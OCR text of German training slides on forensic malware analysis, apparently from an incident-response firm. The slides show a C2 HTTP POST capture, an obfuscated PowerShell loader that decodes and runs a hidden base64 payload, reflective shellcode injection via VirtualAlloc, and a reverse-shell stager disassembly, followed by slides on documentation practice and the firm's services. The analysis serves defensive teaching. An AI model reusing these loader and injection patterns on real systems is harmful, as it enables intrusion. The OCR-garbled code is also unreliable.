m Hybrid Analysis (Ausfuihren und Reverse Engineering)
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Datenanalyse

Malware Analyse: Dynamic Analysis

esse |
iner * | Grife | Twvp |
Deskiop Diateiordner

135 KE  Anwendung

{|:'| Eigene Dateien
: j Arbeitsplatz
< Lokaler Datentrager (C:)
,,,;p CD-Laufwerk {0}
.;g Shared auf "vboxsry" (E:)
EI’-H"' ‘Wechseldatentrager (F:)

ez3z.dl

9 KE  Programmbibliothek
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Datenanalyse

Malware Analyse: Dynamic Analysis

Datei  Bearbeiten  Ansicht  Favoriten  Extras 7

@Zurﬂck - -\_) - L.ﬁ /.._j Suchen [E" Ordner "

Adresse I@ CiProgramDatatJaval 7

Crdner X —
p
(& Desktop - I|Ir-' | jusched
EIEJ Eigene Dateien
{7 Downloads

ﬁﬂ Eigene Bilder

@ Eigene Musik

= ﬁ Arbeitsplatz

- Lokaler Datentrager (C:)
-0) 57doblagsadoefshe
A Dokumente und Einst
E@ ProgramData |-
E} Jawal?

.
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Datenanalyse
Malware Analyse: Dynamic Analysis

X Follow TCP Stream (tcp.stream eq 4)

Stream Content

POST /wp-content/plugins/ee.php?x=zaGz9vxqgb7 HTTP/1.1 A
IAccept: */* M
Content-Type: application/x-www-form-urlencoded

Connection: Close

Content-Length: 394

User-Agent: Mozilla/4.0 (compatible; MSIE 7.8; Windows NT 5. 1;

Trident/4.@; .NET4.0C, .NET CLR 2.0.508727;, .NET CLR 3.0.4506.2152; NET CLR 3.5.30729)
Host: miamirestorationpros. com

Cache-Control: no-cache

Z=C26773ccel7oelBb625a9257d93b02c394eelelsbclT3B82e8T87426badabar4086d4cd2ededdbbcbTbeld
1fc85eaHTTP/1.1 200 OK

Server: nginx/1.8.0

Date: Tue, 28 Jul 2015 16:59:01 GMT

Content-Type: text/html

X-Cache: MISS from access-gateway hospitality.swisscom. com

Connection: close

c2623dB4ef20eed1750fdB73ed114497bBa2aB318e706373a5ac1f52abced53089b79c60T24085deeaf594a
df6d2869bf3d444d2cbBecebd24dabcdat25e1754cc3d948762639dc0a3alld26a226e08892191b5ae60abf
335809Ba8d300aacd6b7d5el8eaTc75567c1T6839d69567378F6d712aealdcc97d42d356c61199d8927e8dd W
14a3e261966e511af054a22f5012a290F3fh7f68754216170F5fdb75fcel@at92ccB32e05744816be26ac79
bfBd38abc6e6T6936F35bff98ebd4455bF39b39af61048501F531F4e499daR6746dd3el80c3aad236d55e3d
T7e8fh3a3c64db6a7BfbI679e7262d4177d2566ddTB28508952adbdb@2297e989Fde3edaladh9a91b9c3297

Entire conversation (1637 bytes) -

“Find | @save As | GPrint [0 ASCI O EBCDIC O HexDump O CArrays ® Raw
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Malware Analyse: Static Analysis

llllllllllllllllllllllllllllllHlll

11 ([IatPtr]

1ze -aq 4){$b-'povershell,sxe’ }else{$b-$enviwindir+ \sysvow
64\WindovsPowarShell\v1.O\povarshall.axa'};$s=Nau-Objact System.Diagn
ostics.ProcessStartInfo;$s.Filalane=$b;$s. Argunents
G &([scriptblock] ::create((New-0bject Systen.I0.StreanReader (New-Obje
ct System.T0.Comprassion.GzipStraan((New-Objact System.I0 MemoryStrea
u(,[System.Convert]: :FrosBase64String( "' H4sTAM31c18CATVW/ 2+1SnD/ul36P
SO Z8A1Ny 15213 L g R CaA] COnCpout 1 416 30T 298 TPLADa6T a2 JDTemIIEuy

nop -w hidden -

1 Frpp
4u71pIFGEQTZ/LT /WL 1TQuecySC

NIMBOLHZ8WpanZPCu3Xh T I JRKLENY1G
lop1vear MUXSbLPI1P6I0CKOIXGxIE

¥219827ESxmp/ TKTONB61 shuxFdGa, a TUGF Jc 16LOBPSBYx 1MFLHTROKSV 1 vRZy 003
QkvA7bsQ71B50+1U)8a0R1+qz3CrxGr6TpOHARKCSZEGAQPF] /42 JuBHTuy JBcmxd2BL
E7skoWy]qaTNe LB1X0a463aIVATCQY /B] 1abfhr4 TFKKDR TV YoeKLT01]931FE00a6a
92mkq1NsTv) Fnk9C/ 1¢ZaKE0TKIPBy151aEAXY0ZBPfuxh5BOOYLE/UTHRIY JHT QGATER

RD1qGW1E J4q TaG1 oeaie
CTs/auVKxQUACL D108FQEREITAGL
zKLEdUX]q'l'oa5~l\gSDlkSnKGXaRsTﬂvi]120lOHDEslﬂgHtaBTpuSZa/yquhﬂdpl.ﬁ:lm
2QR2T: L y 7140V0+
g/nvmssjuzuommsrspsmuqusmuun]nsr.]sursmucmxnnc]/xsy_qunz,nun
PVA+J4S)PWAYp1awD,
ST ouPo/x A e
AFuDE 47K RS Y252 2XEVEPN, XA054a7GH
SbBagcm2/NAK/ TVYLWUAbyn/dppsyJ
P3JeNONBTKDCE1aRx)PEgRI102/ LV 1FYIBNIPKODAqY 1USBC/ YAQVL ) LVSugdeL +RLE
TtsiEpFinNrj0Rrwib]
1226307 IyHAGLVYK acL6vaIDU

2BXRWgtqqCE1rWTLNERA1 3dZ0C3VHq1FLGYOUT+5a86vyXUupWeUALTE IQ!:LOBVZDXJI
OusLaZi+0SLEpYMAOnKPCKCav90NfqzRSExnT T3FRI¥q70S +MohARP1D5 ID1 0By CEO LA

ST£XUnGg6LObY: 7d4Q5RTKPTZVFRA1 6pVPRaq63qV]
/nrTXoc1PufZiywzIBg+qeT JxL 21 /M£919A+ybTRO1EA

R7uW9R+tuJDyFu KNP’ /2eX11sLiT, Y
KAAr=110)), [Syaten T0.Conprasaion. Cumprusslun!ude] : 'Dauumprass))) o
4ToEnd())) " ;$s.Us. ua

i$5.Windowstyle='H aaan: i8s .Crelte"uiindnlkttnle i$p-[5ysten. Diagnost1

cs.Process]::Start (8s);
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Datenanalyse

Malware Analyse: Static Analysis

function b ks {
Param ($16_V0, $uA)
a6 = ([ : Ge ) | Where-nbject { 3_.G
5 lobalAszemblyCache -And $_.Location.Split{('\\")[-1].Equals(*Systes.dl
<+ 1'} }).GetType( 'Microsoft.Win32.UnsafeNativeNethods')

return $avw6.GetMethod('GotProcAddress’, [Type[118([Systen.Runtine.lntere
-+ poervices HandleRer], [Stringl)).Inveks(Smull, o([Systen Rustize.ate
s rops _HandleRef]( System.Runti ces.Hand
5 leRef((New-Object IntPtr), ($avwé.CetMethod('GetModuleHandle')).Invek
< e($mull, 0($x6_¥0)))), $mA))

3
fuaction swZ {
aran (

[Farameter(Position = 0, Mandatory = $True)] [Type[l] $fVGom,

1 [1ypel $xi6 = [Voial

[Parameter (Position

((Hew-Object Syste

Beflecticn. Aaveablylams (‘Retlectedlelogate')), [S]Bten.ﬁeilectxon E

< mit.Assemblys 1::Run) 1o (' InMemor yNodule |

s, $false).DefimeType(" uynuegamrypq , 'Class, Public, Sealed, AnsiCl

=, AutoClasa', [System.MulticastDelegatel)

$i2t.DefineConatructor ('RTSpecialliame, HideBySig, Public', [System.Reflec
tion.CallingConventionsl: :Standard, $1VGn).SetlnplementationFlags('R

untine, Mamaged')

$i2t DefineMothod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $riC,

<5 $1VGOm) .SetImplementationFlags('Runtime, Managed')

return $i2t.CreateType()

[Byte[l1#noP1) = [Systen. Convest]

/03CARAAYInIHCBk LAwit

Mi110i310D7AKJjH/xDxhfATs JSVALSETKPTLMEL] ] YEZIAKTi0K
¥azpJizSLAAYx/62Bzu0Bxz ) g YDE g7 £SR15F i LWCOBO2aLDERL WBRBO4SE 1 wHR UQk

5 JFtBYV1aUf/gX19aizlrjV1oNzIAAGh /0L
TAdbug 12dqEFZXaJn1dGH/1YXAdAZ/ Tgh17G

s jutaJV/OVqAGOEV1doAtnIX//VizaBOmRShpiNjgABAKBOGEAEARAUNOAFI KU +K/1Y2
YAAEAAFNWUGoAVLNXaALZyF//1QHDK cZ171 €ZXVVX 14/ oEAAKACE3: MyvzKvK3SmcTSup
=ZR1eMcCq/ sB1+4K KA4gECHEAKF A0CFE+T 1cB0UB
5 &YUH4gUBWIUH&OUFZBVAEV JdeVuw==")

$xdt = I ces.Marshall:

+ ter((p_kb kermel32.all Virtualilloc), (svZ 0([mtPtr]
£32], [UInt32]) ([IntPer]))).Invoks ([IntPer]

000, 0x0)

Runtine. InteropServices.Marshall::Copy($moF1], 0, $xdt, $moP1J.leng

n)

[VInt32], [UIn
Zars, $moP1l.Langth,0x3
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Malware Analyse: Static Analysis

000000 AD push OAh : coumter=10

000000 AF push 1004130Ah ; sin_addr=10.19.4.16
00000084 push OBEO10002h ; sin_port=443, sin_family=AF_INET
00000089 mov esi, esp ; store pointer to sockaddr_in im esi
000000BE push eaxr ; dwFlags=0

000000BC push eaxr ; B=0

000000BD push SAT ; lpProtocolInfo=0

000000BE push SAT ; protocol=0

000000BF inc saxr

0o00000C0o push eaxr ; type=SDCK_STREAM

000000C1 inc eaxr

ooooo0C2 push CES 4 + af=AF_INET

000000C3 push OEODFOFEAR

oooQo0cE call ebp ; ws2_32.d11!'WSASocketh
QOQQ00CA zchg eax, edi

000000CE

000000CE loc_CB: ; CODE XREF: sub_B8l+55j
000000CE push 10h ; addrlen=16

000000CD push esi ; peinter to sockaddr_in
000000CE push edi ; return value of WSASockethA
000000CF push G174A598h

00000004 call ebp ; ws2_32.d11!connect
000000DE test @ax, eaxm ; test if socket was created
o00o00DE j= short loc_E6 ; contimue om success
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Dokumentation

Prozessbegleitende Dokumentation

m Genutzte Software (Name und Version)

m Softwarekonfiguration (einzelne Einstellungen oder
Kommandozeilenparameter)

m Begriindung zur Entscheidung fir die Software

m Protokollierung der gewonnenen Daten und
durchgeflihrten Prozesse

m Werkzeugeinsatz (Warum?, Wie?)
m Interpretation der Ergebnisse (Fakten)
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Dokumentation

AbschlieBRende Dokumentation

m Wie wurde die Untersuchung durchgefuhrt?

m Lickenlose Beschreibung des Untersuchungsverlaufes
sowie der eingesetzten Werkzeuge und Methoden
m Welche Informationen wurden gewonnen?

Ermittlung der Identitat des Taters / der Tater,
Ermittlung des Zeitraums der Tat (Erstellung Timeline),
Ermittlung des Umfanges der Tat,

Ermittlung der Ursache und Durchfiihrung

m Rekonstruktion des Vorfalls anhand der Ergebnisse und
Fakten

m Lessons learned
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Datenanalyse
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Unsere Leistungen

m Cyber Strategy & Governance
m Offensive Security
m Security Operations Center

m Cyber Incident Response & Crisis Center

= Ad-hoc Incident Response Team

m Cyber Incident Response Service

m Cyber Notfallmanagement

m Schulung fir Vorfall-Experten des BSI
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